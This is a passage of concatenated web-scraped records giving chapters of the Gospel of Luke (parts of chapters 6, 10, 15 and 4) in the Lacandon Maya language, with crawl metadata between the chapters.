Jesús caj ch'icrʌj tu tajir ru'um. Ti' yʌn jach pim u camsʌwinicob. Ti' yʌn u jerob pim a cu tar ich u ru'umin Judea, bayiri' ti' u tar ich u cajar Jerusalén. Ti' u tarob ich u cajar Tiro, ra' u chi' c'ac'nab. Ti' u tarob ich u cajar Sidón ra' u chi' c'ac'nab xan. Rʌc tarob yubicob u t'ʌn Jesús quire' u c'at u jawsa'r u yajirob xan. 18 A mac aca'an c'ac'as quisin jawsa'bob xan ten Jesús. 19 Tu cotor u c'at u tarʌr Jesús quire' ca' bin tarʌc cu jawar u yajirob quire' cu tar u muc' ti' Jesús quir u jawar u yajirob.\nA ba' cu jach qui'quintic yor mac\n(Mt. 5.1‑12)\n20 Caj yiraj Jesús u camsʌwinicob caj ya'araj ti'ob:\n―Qui'quint a worex quire' jach otsirchʌjechex baje'rer quire' a C'ujo' cu bin u qui' acsiquechex ich ca'anan tu cu reyinticob Cuj.\n21 'Qui'quintej a worex quire' wichʌjechex baje'rer, je' a najchʌjʌrex ca' bin c'uchuc tu q'uinin. A mac tan u yac'ticob u bʌj baje'rer qui'quintej yorob quire' ca' bin c'uchuc tu q'uinin je' u qui'tar yorob, je' u che'ejobe', quire' C'uj cu bin u qui'quintic yorob.\n22 'Qui'quintej a worex wa ber cu p'actiquechex mac wa tan u joc'siquechex tu cu naj c'ujinticob C'uj. Wa tan u p'astiquechex, wa tan u ya'aricob c'asechex quire' ta wacsajex ta wor ti' ten, a teno' a baxuquenechexo'. 23 Qui'quintej a worex cax wa ber cu p'actiquechex, jach manan yʌn a qui'quintiquex a worex wa tan u p'astiquechex quire' tan a manex tu tsoyir. Rajen a C'ujo' cu bin u qui' acsiquechex ca'anan. Mʌ' ja wirej, quetechex yejer yʌjtseq'uirob u t'ʌn C'uj uch. Bayiri' caj p'acta'b ten u rac'ob uch.\n24 Jesús caj ya'araj ti' a mac a mʌ' tan u manob tu tsoyir a mac neyʌn u taq'uin baje'rer:\n―Yaj cu bin yubicob quire' toy qui'ij yorob tera' ich yoc'ocab.\n25 'Mʌ' ja wirej, a mac jach bu'ut baje'rer jach yaj cu bin yubic u wichʌjʌr. A baje'rer cu tus che'eticob chen a ray u q'uinino' cu bin u jach ac'ticob u bʌj.\n26 'Qui' irej ber cu ya'aricob: \"Jach tsoyech\", quire' baxuc caj ya'arob ti' u tus ʌjtseq'uirob u t'ʌn C'uj uch. Je' u yac'ticob u bʌj xan.\nCa' a yajquintiquex a mac cu p'actiquechex\n(Mt. 5.38‑48; 7.12)\n27 Caj ya'araj Jesús ti' a pimo':\n―U'yex ba' quin camsiquechex. Ca' a yajquintex a mac cu p'actiquechex. Yamtex a mac cu p'actiquechex. 28 T'ʌnex C'uj ti' a mac cu tʌmʌchi'tiquechex soc u qui'tar yorob. Chich t'ʌnex C'uj ti' a mac cu tupsic a worex soc u yamta' ten C'uj. 29 Mʌ' a cʌniquex a mac a cu c'asquintiquechex. Wa cu tac' jʌts'ticob a p'uc, arex ti' ca' u tac' jʌts'tej jumbuj a p'uc xan. Cax wa mac cu ta'quic a jo'rex quir u ch'ic a noq'uex, soc mʌ' a cʌniquex aro', arej ti' ca' u toc ch'aj u ca'yarir a noq'uex. 30 Cax wa mac cu tar u chich c'atej techex. Cax wa sijibar ti', cax wa mʌjʌnbar ti', ts'ajex ti'. Wa mac cu tar u ch'ic a ba'tac, mʌ' a yʌn c'atiquex ti', ca' u sutextech. 31 Yamtex a rac'ob an ten bic a c'atex u yamtiquexob xan.\n32 'A mac a cu chen pacran yajquinticob u bʌj quire' u yajob u bʌj, chen u bʌjiri' cu tucric, mʌ' ti' C'uj cu tucric. Quire' baxuc a mac yʌn u si'pir cu yajquinticob u bʌj, quire' u yajob u bʌj. 33 A mac a cu chen yamtic u rac'ob quire' baxuc caj yamta'b uch xan. U bʌjiri' tan u tucric, mʌ' ti' C'uj, quire' cu tucric baxuc u yamticob u bʌj a mac yʌn u si'pir xan. 34 A mac a cu mʌjʌntic u taq'uin ti' u rac'ob cu ts'ic ti'ob quire' yer je' u sutur ti' u jer, bayiri' xan u bʌjiri' tan u tucric. Mʌ' ti' C'uj quire' bayiri' a mac yʌn u si'pir, quet u mʌjʌnticob u taq'uin yer je' u sutur ti' xan.\n35 Caj ya'araj Jesús:\n―A teno' tan in camsic techex. Yajquintex a mac cu p'actiquechex. Yamtex a mac cu p'actiquechex. Ts'ajex ti' ba', a ba' u c'atic techex, cax mʌ' a pajic u sutic techex. Baxuc ca' bin c'uchuquechex ich ca'anan. A C'uj cu bin u qui' bo'otic techex quire' ta cʌnajex C'uj, rajen u pararechex C'uj. Mʌ' ja wirej, a C'ujo' xan cu yamtic a mac jach c'as cax mʌ' cu ya'aricob ti' C'uj: \"Bayo' C'uj.\" 36 Cʌnex a Tet C'uj, mʌ' ja wirej, a C'ujo' cu yajquintic mac. Baxuc techex ca' a yajquintex a rac'obex.\nMʌ' a yʌn ta'quiquex u jo'r a rac'obex\n(Mt. 7.1‑5)\n37 Jesús caj ya'araj ti' u camsʌwinicob ich u jo'r p'uc wits:\n―Mʌ' a ta'quiquex u jo'r a rac'ob soc bayiri' mʌ' u ta'quic a jo'rex C'uj. An ten bic caj a chich ta'quex u jo'r a rac'ob. Bayiri' a C'ujo' u bin u chich ta'quic a jo'rex xan. A mac tu c'asquintajechex, jawsex u si'pir soc baxuc a rac'obex cu bin u jawsic a si'pirex. Baxuc a C'ujo' cu bin u jawsic a si'pirex xan. 38 Ts'ajex ti' a rac'obex a ba' u c'at, quire' baxuc C'uj cu bin u ts'ic techex xan. An ten mun u p'is caj a ts'aj ti' a rac'obex baxuc u p'is techex cu bin u ts'ajex C'uj. Jach manan ya'abir cu bin u ts'ic techex C'uj, mʌ' ju bin u c'uchur a worex ca' bin u rʌc ts'ajtechex.\n39 Jesús caj u wʌc'ʌs araj yej u jer u t'ʌn quir u camsic:\n―Irej a mac ch'op u wich, mʌ' u pʌyic u bej u jer ch'op u wich. Quire' wa yʌn u jor ru'um ti' cu bin u p'itc'ʌjob quire' mʌ' yirob u bej. Quire' baxuc techex a mac a mʌ' yer C'uj, mʌ' tsoy quir u camsic u t'ʌn C'uj. Quire' tan u pʌyicob a bej quir a bin ich u c'aq'uir. 40 A mac cu camsiquechex baxuc ca bin a cʌnex, irechex a mac caj u camsajechex ca' bin ts'ocac u camsiquechex.\n41 'Wa tech, caj a p'astaj a rac'ob quire' mʌ' tan u man tu tsoyir, chen a bʌjiri' xan, mʌ' tan a man tu tsoyir, chen ta man ta c'asir. Irech a mac a cu p'astic u rac'ob quire' bina'an robir chichin tu wich. Chen a bʌjiri' mʌ' a wiric wa bina'an robir ta wich cax carem. 42 Wa ca tsicbar ti' mac quire' caj man tu c'asir, chen a bʌjiri' jach manan yʌn a c'asir tech. Irech wa mac a cu ya'aric: \"Arej in joc'sej a chichin bina'an robir ta wich quire' in bʌjobech.\" Chen u bʌjiri' jach ya'ab bina'an robir tu wich. Mʌ' a yʌn cʌniquex u winiquirob judío a fariseojo' yejer u yʌjcamsʌyʌjirob u t'ʌn Moisés quire' irob ch'op u wich. Mʌ' ja wirej, yʌjtusarirech. Chen a bʌjiri' mʌ' a yʌn joc'sic robir a wich. A techo' yʌjtusarirech. Yʌn a toc p'ʌtic a man tu c'asir soc c'ucha'an a wor a wiric ca' u p'ʌt u man tu c'asir a rac'ob.\nCa c'ʌ'otic u che'er wa ca c'ʌ'otic u wich\n(Mt. 7.17‑20; 12.34‑35)\n43 Caj ya'araj Jesús tu cu camsic a pimo':\n―Wa tsoy u che'er bayiri' tsoy u wich. Wa c'as u che'er, bayiri' c'as u wich xan. Rajen wa c'as u che'er mʌ' c'ucha'an yor u ts'ic u wich a tsoyo'. Bayiri' xan wa tsoy u che'er mʌ' c'ucha'an, yor u ts'ic u wich a c'aso'. 44 Wa ca wiric u wich ca c'ʌ'otic u che'er xan. An ten bic mʌ' a t'aquic u wich ʌrʌxa' ich abʌr, bayiri' xan, an ten bic mʌ' a t'aquic u wich pujam ich poch'ir. 45 An ten bic a mac tsoy u tucur, tsoy cu bin joc'ar u t'ʌn tu chi'. A mac c'as u tucur c'as, cu bin joc'ar u t'ʌn tu chi'. Mʌ' ja wirej, a ba' yʌn tu tucur ra' cu bin joc'ar tu cu tsicbar.\nCa'tur u najob\n(Mt. 7.24‑27)\n46 Caj ya'araj Jesús:\n―Biquinin ca chen t'ʌniquen, \"Jaj Ts'urir\", barej mʌ' ca quibic in t'ʌn? 47 Tu cotor a mac cu yubic in camsic ca' u quibej a ba' tin wa'araj. 48 Raji' irej a mac t'aj. Quire' ber caj u c'ʌxaj yatoch, tam caj u pʌc'aj yoc yatoch soc mʌ' u riquir. Ca' bin tac u ch'icyum ic' ca' bin buruc, mʌ' u riquir quire' jach tam caj u pʌc'aj yoc yatoch. 49 Chen a mac cu yubic in camsic, chen mʌ' ju quibej a ba' caj in wa'araj ti', raji' irej a mac chich u jo'r. Quire' caj u c'ʌxaj yatoch turiri', chen mʌ' tam caj u pʌc'aj yoc yatoch. Rajen caj riquij caj tar u ch'icyum ic' caj tar ya'arir, caj bu'urij. Quire' mʌ' tam caj u pʌc'aj yoc yatochi'. Caj rʌc sat yatoch, caj rʌc cuch ten ic' yejer ja'.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK06.htm","date":"2022-08-15T07:38:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572161.46\/warc\/CC-MAIN-20220815054743-20220815084743-00102.warc.gz","language":"lac","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000032186508179}","num_words":2081,"character_repetition_ratio":0.067,"word_repetition_ratio":0.007,"special_characters_ratio":0.3,"stopwords_ratio":0.507,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10\nJesús tu tuchi'tic ca' xicob a setentajo'\n1 Caj ts'oc u tsicbar ti' a mac a ju c'at u tarob tu pach Jesús caj u tetaj u jerob setenta u camsʌwinicob. Caj u tuchi'taj ca' ca'turob ich tu cotor u chan cajar. Baxuc ich tu cotor u yajaw cajar xan. Raji'ob cu yʌn binob. Pachir cu c'uchur Jesús. 2 Caj ya'araj Jesús ti'ob:\n―Ti' yʌn mac pim u c'at yubicob u t'ʌn C'uj chen a cu beyajob, mʌ' nepimi' a cu tsec'ticob u t'ʌn C'uj ti'ob. Aro' irej wa ti' yʌn jach ya'ab u trigo quir u wʌtic. Chen mʌna' mac quir u wʌtic. Rajen ca' a t'ʌnex C'uj soc u tuchi'tic mac quir u bin u tsicbʌtic u t'ʌn C'uj soc c'ucha'an yorob u yubicob u t'ʌn C'uj. 3 Baje'rer ca' xiquechex tu caj in wa'araj a binex. Je' a wiricobexe' irob barum. Robob cu bin yiriquechexob irechex tʌmʌn yuc. An ten bic barum u c'at u chi'ic tʌmʌn yuc. Baxuc a xibo' u c'at quinsiquechexob. 4 Ca' bin xiquechex mʌ' ja yʌn ch'iquex a chimex, u boxer a taq'uinex mʌ' ca ch'iquex. Mʌ' ja ch'iquex a pech' xʌnʌb, ts'ot a bin beyajex. Mʌ' ja yʌn wec' t'ʌniquex mac tu ca binex a tsec'tiquex u t'ʌn C'uj. 5 Ca' bin yʌn ocaquex ich yatoch mac, yʌn arex ti' tu ca t'ʌnic: \"In c'at ca' qui'ac a worex ti' C'uj a mac ti' yʌn ich yatoch tera'.\" 6 Wa ti' yʌn mac a tabar u qui' tar yor ti' C'uj, je' u bin qui' tar yor ti' C'uj. An ten bic techex caj a c'atajex ti'. Chen wa ti' yʌn mac mʌ' u qui'tar yor ti' C'uj. Aro' mʌ' ju bin qui' tar yor ti' C'uj. A bʌjiri'ex ca bin a waquex ti': \"Je' in wʌc'ʌs ch'ic a ba' caj in wa'araj techex u qui'ir yor C'uj.\" 7 Tiri' ca p'atʌrex ich yatoch a tu yacsechex mʌ' a ca' cay binex ich u jer naj. Janʌnex uc'urnenex xan a ba' cu ts'ic techex an biquex a janʌnex ta watochex. Irechex a mac cu c'ʌmic u bo'orir u beyaj quire' ra' u bo'orir tu ca beyajex. 8 Wa ca wocarex ich u chan cajar tu cu yacsiquechex, toc jantechex ba' cu ts'ictechex. 9 Jawsex u yajir tu ca binex ich u chan cajar. Yʌn arex ti': \"Toc ti' yʌnechex baje'ra' quire' toc c'uchij tu q'uinin tu ca bin a reyintiquex C'uj.\" 10 Wa ca wocarex ich u chan cajar tu mʌ' u yacsiquex, toc ruq'uenex ich tan bej ich u cajar. Ca waquex ti'ob: 11 \"Cax u ru'umin a cajarex a cu nich'ir tin woc quin toc pusticob tin wocob quire' c'as caj a betajex. A baywo' quin toc aric techex c'uchij tu q'uinin C'uj ca' bin a reyintiquex, chen mʌ' a c'at a reyintiquex C'uj.\" Baxuc yʌn a waquex ti' mac a mʌ' u yacsiquex.\n12 Jesús caj ya'araj ti' u camsʌwinicob a setentajo':\n―Chen a teno' quin wac techex ca' bin xuruc t'ʌn a ra cajaro' a mʌ' tu yacsajechex, jach manan cu bin ts'abʌr u muc'yajob ten C'uj. Chen u cajar Sodoma, mʌ' u nebin muc'yajob a ch'esa'b ten C'uj yejer c'ac' uch.\nU cajarob a mʌ' tu c'ʌmajob u t'ʌn C'uj\n(Mt. 11.20‑24)\n13 Ti' toy cu tsicbar Jesús ti' a setentajo' caj ya'araj:\n―Jach otsir techex ich u cajar Corazín. Baxuc otsirechex ich u cajar Betsaida. Jaj ixtʌco' wa ti' yʌn mac uch ich u cajar Tiro yejer u cajar Sidón caj u yesej u carem beyajob. An ten bic caj in wesaj techex carem beyajob. Robob a ti' yʌnob uch ich u cajar Tiro yejer Sidón. Tabar ix ti' ucho' ca' bin u c'axicob yorob tan a p'ʌticob u manob tu c'asir. Jaj ix ti' caj u buquintajob u rabir u noc'. Baxuc caj u posta'antajob u jo'rob yejer c'uta'an soc yer mac tucur u ca'ob. An ten bic mac nanij cu beticob uch. 14 Ca' bin xuruc t'ʌn a techex a cʌja'anechex ich u cajar Corazín yejer Betsaida. Jach manan ca bin muc'yajex chen a mac a cʌja'anob uch ich u cajar Tiro yejer Sidón, mʌ' ju bin nemuc'yajob. 15 A techex ca tucriquex ich a cajar Capernaum jach no'jechex yiriquechex C'uj. Chen C'uj mʌ' ju yiriquechex wa jach no'jechex cu bin u puriquechex ich c'ac' munt q'uin quire' mʌ' ta wacsajex ta wor ti' ten.\n16 'A mac a cu quibiquex a t'ʌnex baxuc ten cu quibob in t'ʌn xan. A maque' mʌ' ju c'ʌmic a ba' ca waquex ti'ob. Baxuc ten mʌ' u c'ʌmicob a ba' quin wac ti'ob. Baxuc a mac mʌ' ju c'ʌmicob a ba' quin wa'aric ti'. Mʌ' tan u c'ʌmic a ba' cu ya'aric C'uj quire' raji' caj u tuchi'tajen.\nCaj urob a setenta tuchi'ta'b ten Jesús\n17 Caj urob a setentajo' tub binob u tsec'ticob u t'ʌn C'uj. Jach qui' yorob caj urob ich Jesús, caj ya'arajob:\n―Jaj Ts'urir, cax c'ac'as quisinob caj u yubob ic t'ʌnob caj ij caraj ti'ob: \"Quisin, ich u c'aba' Jesús, ca' xiquex\", jeroj joq'ui.\n18 Jesús caj ya'araj ti'ob:\n―A teno' caj in wiraj a rubsiquex u muc' a quisino'. Seb caj in wiraj a rubsiquex u muc' a quisino'. 19 Mʌ' ja wirej, an ten bic c'ucha'an a worex ti' a joc'siquex quisin quire' a teno' caj in jʌsatechex in muc'. Baxuc xan ca pech'ʌctiquex can a yʌc u cojo', cax roroch mʌ' ja bin a wu'iquex yajir. Baxuc caj in jʌsatechex in muc' soc mʌ' a sʌjtiquex a quisin quire' c'ucha'an a worex ti'. 20 Mʌ' a chen qui'quintex a worex quire' a c'ac'as quisino' caj u yubajob a t'ʌnex, barej jach qui'quintex a worex quire' ti' ts'iba'an ich u ju'unin C'uj a c'aba' techex. Quire' ti' ts'iba'an a mac a caj u yacsajob tu yorob.\nCaj qui'jij yor Jesús\n(Mt. 11.25‑27; 13.16‑17)\n21 Ra'iri' u q'uinin caj qui'quinta'b yor Jesús ten u Taj'or u Pixam C'uj, Jesús caj ya'araj ti' C'uj:\n―Jach caremech C'uj, in tetech, cax ca'anano' cax yoc'ocabo'. U jach ts'urirech quire' tech ta rʌc betaj tu cotor ba'. Jach caremech C'uj ―quij―. Mʌ' ja wirej, caj a jʌsa a muc' ti' a mac a mʌ' yerob ju'un soc u joc'sicob c'ac'as quisinob soc c'ucha'an yorob ti' a jach quisino'. Mʌ' ta ts'aja u najtejob a ba' a c'at ti' a mac u ne'erob ba' quire' baxuc a c'at tech.\n22 'Jesús caj ya'araj ti' a mac ti' yʌnob yejerob setenta. Tu cotor mac a teno' cu bin u ts'urintiquen quire' baxuc u c'at C'uj. Mʌna' mac yer u parareni' ―quij Jesús―, chen in Tet yer maqueni'. Mʌna' mac yer mac in Tet chen ten quire' u pararen. Rajen u jer mac c'ucha'an yor yer C'uj wa quin cha'ic u najtic.\n23 Caj binob tu junan Jesús yejer u camsʌwinicob. Caj u pʌctaj caj ya'araj ti'ob:\n―Qui'quintej a worex quire' a ba' ca wiriquex in camsic baxuc quire' ca wiriquenex. 24 Quire' yʌn ya'ab yʌjtseq'uirob u t'ʌn C'uj uch. Baxuc reyob xan, quire' u c'at yiriquenob uch, chen mʌ' yirenob uch cax u c'atob yubicob a ba' quin camsic an bic techex ca wiriquenex in camsicob, chen mʌ' tu yubob.\nJesús cu camsic a mac u jach tsoy yiric u rac'ob\n25 C'uchij turiri' mac ich Jesús. A cu camsic u t'ʌn Moisés. Tar u tumtic yor Jesús tu cu camsic mac. Caj u c'ata ti':\n―In wʌjcamsʌyʌjirech ―quij―, ba' quin bin in betej quir in cuxtar munt q'uin?\n26 Caj nunca' ten Jesús:\n―Ba' ts'iba'an ich u t'ʌn C'uj tu ca xaquic?\n27 Yʌjcamsʌyʌjir u t'ʌn Moisés caj u nunca:\n―U t'ʌn C'uj cu ya'aric: \"Quet ca' ic yajquintej ic Jaj Ts'urir yejer tu cotor ic pixam yejer tu cotor ic muc' yejer tu cotor ic tucur ich ic jo'r.\" Baxuc ca' ic yajquintej ij quet cajar. An ten bic ic yajquintic ic wʌc'ʌs bʌjiri'.\n28 Caj ara'b ten Jesús:\n―Taj a ba' caj a nuncaj. Wa ca betic baxuc aro', yʌn a cuxtar munt q'uin.\n29 Quire' cu tucric mʌ' qui' nunc'ab ten Jesús. Rajen ca' u c'ataj ti' Jesús:\n―Mac in wet cajari' quir in yajquintic?\n30 A baywo' caj u nuncaj Jesús soc u camsic:\n―Caj binij turi' winic ich u cajar Jericó. Ti' ruq'uij ich u cajar Jerusalén. Caj u nup'aj mac a cu yac'rʌ' ba'. Caj chuc ten yʌjac'rʌ' yʌjirob ba' rʌc ac'ra'b u ba'tac cax u buquimʌn u noc' rʌc ch'a'b ti', caj ts'oc u rʌj jʌts'ic, irej wa quimen caj u p'ʌtajob. 31 Ra'iri' u q'uinin caj manij sacerdote ich bej tu chara'an a mac jats' irej quimen. Caj yiraj charique' nach caj man. 32 Baxuc caj tar u winiquir judío u yo'nen Leví, ra' cu beyaj ich carem naj. Caj yira charic a mac jats' caj u pot mastaj. 33 Caj tar u winiquir u cajar Samaria nach u tar caj tarij tan u nats'ʌr tu chara'an a mac jʌts'a'an. Caj u yiraj charic caj u yajquintaj. 34 U winiquir samaria caj c'uchij tu chara'an a xibo' a jʌts'a'ano' caj u ts'ʌcaj tu c'orij tut jats' caj u jic'taj tsats yejer u c'ab u wich uva quir u jawʌr. Caj u nacsaj tu pach u tsimin quire' ra' u tsimin caj bin u puric quir u cʌnanta' ti' tu tu mʌjantaj yatoch. 35 Caj sasij quire' bin u ca' u winiquir samaria. Caj u chʌc jaraj u taq'uin ca' turur u sʌc taq'uin caj u ts'aja ti' a mac yʌnin yatoch. Caj ya'araj ti': \"Cʌnantej a je' xiba' wa ca rʌc xupic a taq'uin ti' a mac ca' bin uquen je' in bo'otiquech.\"\nBaxuc caj ya'araj Jesús ti'. 36 Caj ts'oc u tsicbar Jesús ti' a jʌts'a'an caj u c'ataj ti' yʌjcamsʌyʌjir u t'ʌn Moisés:\n―Arej ten ich a mʌna' u nup xibo' a mac caj u yajquintaj?\n37 Caj ya'araj yʌjcamsʌyʌjir u t'ʌn Moisés. A mac a tu yiraj otsir a jʌts'a'ano', raji' tu yajquintaj. Jesús caj u nuncaj ti':\n―Baxuc tech rajra' ca' a yajquintej mac.\nC'uchij Jesús ich yatochob Marta yejer María\n38 Ti' toy cu bin Jesús yejer u camsʌwinicob ich u berir Jerusalén caj c'uchij tu cajar. Ti' yʌn xquic u c'aba' Marta. Raji' caj u yacsaj ich yatoch. 39 A Martajo' yʌn u yits'in María u c'aba'. Caj curʌj María ich yoc Jesús quire' u c'at yubic a ba' cu camsa'. 40 Chen Marta cu tucric jach ya'ab u beyaj rajen tarij ich Jesús caj ya'araj ti':\n―Jaj Ts'urir ―quen―, wa ca jach tucriquen ca wac ti' in wits'in ca' tac u yamten.\n41 Chen Jesús caj u nuncaj ti':\n―Marta ―quen―, ca jach tucric a beyaj, rajen choc a wor quire' jach ya'ab. 42 María caj u tetaj a ba' jach tsoy rajen cu tucric u tar yubej in t'ʌn. Rajen mʌna' mac cu ma'quintic soc mʌ' u tar.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK10.htm","date":"2022-08-15T07:56:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572161.46\/warc\/CC-MAIN-20220815054743-20220815084743-00127.warc.gz","language":"lac","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000006079673767}","num_words":1744,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.289,"stopwords_ratio":0.503,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15\nJesús cu camsic ti' tʌmʌn yuc a satʌro'\n(Mt. 18.10‑14)\n1 Turi' u q'uinin caj tarob a mac cu c'ʌmicob u taq'uin gobierno yejer a mac yʌn u si'pirob. Caj u much'quintajob u bʌj ich Jesús. 2 Rajen u winiquirob judío a fariseojo' yejer yʌjcamsayʌjirob u t'ʌn Moisés caj ya'arajob:\n―A je' xiba' cu man yejer a mac yʌn u si'pirob, cu janʌn yejerob xan.\n3 Rajen Jesús caj u camsaj baxuc a je'ra':\n4 ―Wa turiri' techex yʌn cien a wʌrʌc' tʌmʌn yuc, cu satʌr turiri', mʌ' wa cu jamach p'ʌtic u yʌrʌc' tʌmʌn yuc a noventa y nueve tu cu janʌnob ca' xic u cʌxtej a sa'ataro'? Cu qui' cʌxtic hasta cu yiric. 5 Caj ts'oc yiric caj qui'jij yor rajen caj u c'ocha. 6 Ca' bin c'uchuc ich yatoch caj u pʌyaj a mac u jach yajob yejer u yet cajarob caj ya'araj ti'ob: \"Ca' ij qui'quintej ij cor quire' caj in wiraj in wʌrʌc' tʌmʌn yuc a cu satʌr uch.\" 7 Baxuc xan, rajen quin wac techex: Jach manan cu bin u qui' tar yor C'uj ich ca'anan yejer yʌjmasirob u t'ʌn C'uj quire' caj u yiraj turi' caj u c'axaj yor, caj u p'ʌtaj u man tu c'asir. Cax mʌ' ba'wir aro' a noventa y nueve quir u c'axic yorob soc u p'ʌticob u c'asirob quire' jach tsoyob.\nJesús cu camsic ti' taq'uin a satʌro'\n8 Jesús caj ya'araj:\n―Mʌ' wa ti' yʌn xquic a yʌn diez u sʌc taq'uin wa cu sʌtic u taq'uin turiri'. Cu t'ʌbic u quib quir u mistic yatoch soc u qui' cʌxtic u taq'uin hasta cu yiric. Jach taj cu bin u qui' cʌxtic hasta cu yiric. 9 Barej caj u yiraj u taq'uin cu pʌyic a mac u jach yajob. Baxuc u yet cajarob, caj ya'araj ti'ob: \"Ca' ij qui'quintic ij cor quire' caj in wiraj in taq'uin a tin sʌtaj uch.\" 10 Quin wac techex baxuc xan qui' yorob yʌjmasirob u t'ʌn C'uj ber cu yiricob u c'axic yor mac. Caj u p'ʌtaj u man tu c'asir, cax turiri'.\nJesús camsic ti' u parar a cu sataro'\n11 Jesús caj ya'araj ti':\n―Ti' yʌn turiri' xib yʌn ca'tur u parar. 12 A its'inbir u parar caj ya'araj ti' u tet: \"Tet ―quij―, jʌse ten a ba' ca bin a p'ʌtej wa ca quimin.\" Rajen u tet caj u jʌsaj ti'ob u pararob a ba' cu bin u p'ʌtic ti'ob. 13 Caj manij mʌ' ya'ab u q'uinin, u parar a its'inbiro' caj u rʌc maraj u ba'tac caj u p'ʌtaj u tet caj bin ich tanxer u cajar nach. Caj u rʌc xup u taq'uin tu cu man tu c'asir. 14 Caj ts'oc u rʌc xupic u taq'uin caj c'uchij tu q'uinin u tar wi'ij tu ru'umin. Caj u yʌnxchun u masic otsir. 15 Caj tar u chich c'ataj u beyaj a ti' cʌja'an ich u ru'umin. Raji' caj u ts'aj u beyaj ich u cor quir u jansic yʌrʌc' q'uec'an. 16 Cu jach pachtic u najchʌjʌr yejer yoch q'uec'an a cu ts'abʌr ti'. Quire' mʌ' u ts'abʌr ti' a mac a cu cʌnanticob q'uec'an. 17 Chen caj u c'axaj u tucur caj ya'araj: \"Mun u c'urew in tet cu beyaj. Toc yʌn yo'och ya'ab. Mʌ' u rʌc janticob. Chen a teno' tan in quimin yejer wi'ij. 18 Bin in ca' sut ich in tet ca' bin in wac ti' in tet: Tet, quen, a teno' yʌn in si'pir ti' C'uj. Baxuc tech, mʌ' tin quibaj a t'ʌn. 19 Ca' bin in wac ti' in tet: Mʌ' tsoyen a waquen wa ja pararen. Chan cha' in beyaj tech an ten bic a c'urew.\" 20 A its'inbiro' caj riq'ui, caj sutnʌjij ich yatoch u tet.\n'Ti' toy yʌn nach caj irir ten u tet, tan u sut. Caj yajquinta'b ten u tet caj u c'ʌnaj u yacab quir u nup'ur caj c'uchij ich u parar. Caj u pʌtʌx mec'taj caj u ts'u'ts'aj u p'uc. 21 Rajen u parar caj u ya'araj ti' u tet: \"Tet, quen, a teno' yʌn in si'pir ti' C'uj. Baxuc tech quire' mʌ' tin quibaj a t'ʌn. Rajen mʌ' tsoyen a waquen wa ja pararen.\" 22 Caj c'uchob yejer u tet ich yatoch. U tet caj ya'araj ti' u c'urew: \"Chuquej u jer u noc' a tsoyo' ca' a tʌquej u noc' ti'. Chuquej u c'ʌb ca' a c'ʌrej tu c'ʌb. Chuquej u pech' xʌnʌb ca' a jupej ich yoc. 23 Joq'uen chuque bʌc' a tan ic tsentic ca' ij quinsej ca' ij qui' janʌnex ca' qui'ac ij corex. 24 Quire' a je' in parara' in wer uche' quimen chen ti' yʌn baje'rer cuxa'an quire' caj u p'ʌtenob uch chen baje'rer tan tu c'uchur.\" Caj u yʌnxchun u betic ti' u qui' janʌnob.\n25 'U parar a sucu'unbiro' ti' yʌn ich u cor ca'ch caj ur u yits'in. Tan u yu'ur tabar u c'uchur ich yatoch. Caj yubaj u c'ayob tan yoc'atob xan. 26 Rajen caj u t'ʌnaj turiri' u c'urew u tet caj u c'ata ti' ba' cu yiricob. 27 Caj ara'b ti' ten u c'urew: \"Quire' toc ur a wits'in rajen a tetex caj u ya'araj ca' quinsac bʌc' a toc tsemta'an toc ti' yʌn yor quire' urij.\" 28 A sucu'unbiro' caj ts'iquij, rajen mʌ' u c'at u yocar ich u tet. Caj joc' u tet caj u chich araj ti' ca' ocac. 29 Caj u nuncaj ti' u tet: \"U'yej ba' quin wac. Ya'ab yaxq'uin caj in beyaj tech. Ti' toy quin beyaj tech a ba' ta wa'araj ca'ch, caj in toc quibaj. Mʌ' ta chuca bʌc' teni', a ts'aten mʌ' chichin soc in qui' janʌn yejer a mac in jach yajob. 30 Chen caj urij a parar a je'ra' a caj u rʌc xupaj a taq'uin yejer xquic a cu manob. Biquinin caj a wa'araj u quinsa' yoch bʌc' ya'ab a tsemta'an ―quij―, ti' u tet?\" 31 Chen u tet caj u ya'araj ti': \"In pararech. Rajra' ti' yʌnech tin wicnʌn. Tu cotor ba' a yʌn ten, tech yʌnin. 32 Mʌ' ja wirej ―quij―, yʌn ij qui'quintic ij cor. Yʌn ij qui' janʌn xan quire' urij a wits'in. In wer quimij uch chen ti' yʌn baje'rer cuxa'an quire' caj u p'ʌtʌnenob uch chen baje'rer tant u c'uchur.\"","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK15.htm","date":"2022-08-15T07:58:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572161.46\/warc\/CC-MAIN-20220815054743-20220815084743-00132.warc.gz","language":"lac","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000070333480835}","num_words":1003,"character_repetition_ratio":0.051,"word_repetition_ratio":0.006,"special_characters_ratio":0.304,"stopwords_ratio":0.474,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nCaj tumta'b yor Jesús ten quisin\n(Mt. 4.1‑11; Mr. 1.12‑13)\n1 Caj joq'uij Jesús ich u chi' ya'arir Jordán quir u bin ich Galilea, Jesús jach ts'urinta'b ten u Taj'or u Pixam C'uj. Caj pay u ber Jesús ten u Taj'or u Pixam C'uj quir u bin ich tʌcay ru'um. 2 Quir u tumta'r yor ten quisin quir yirir wa cu yacsic u si'pir. Ti' taro', ti' yʌn ich tʌcay ru'um cuarenta u q'uinin. Caj u jamach p'ʌtaj u janʌn u burur q'uin, u burur ac'bir. Caj ts'oc 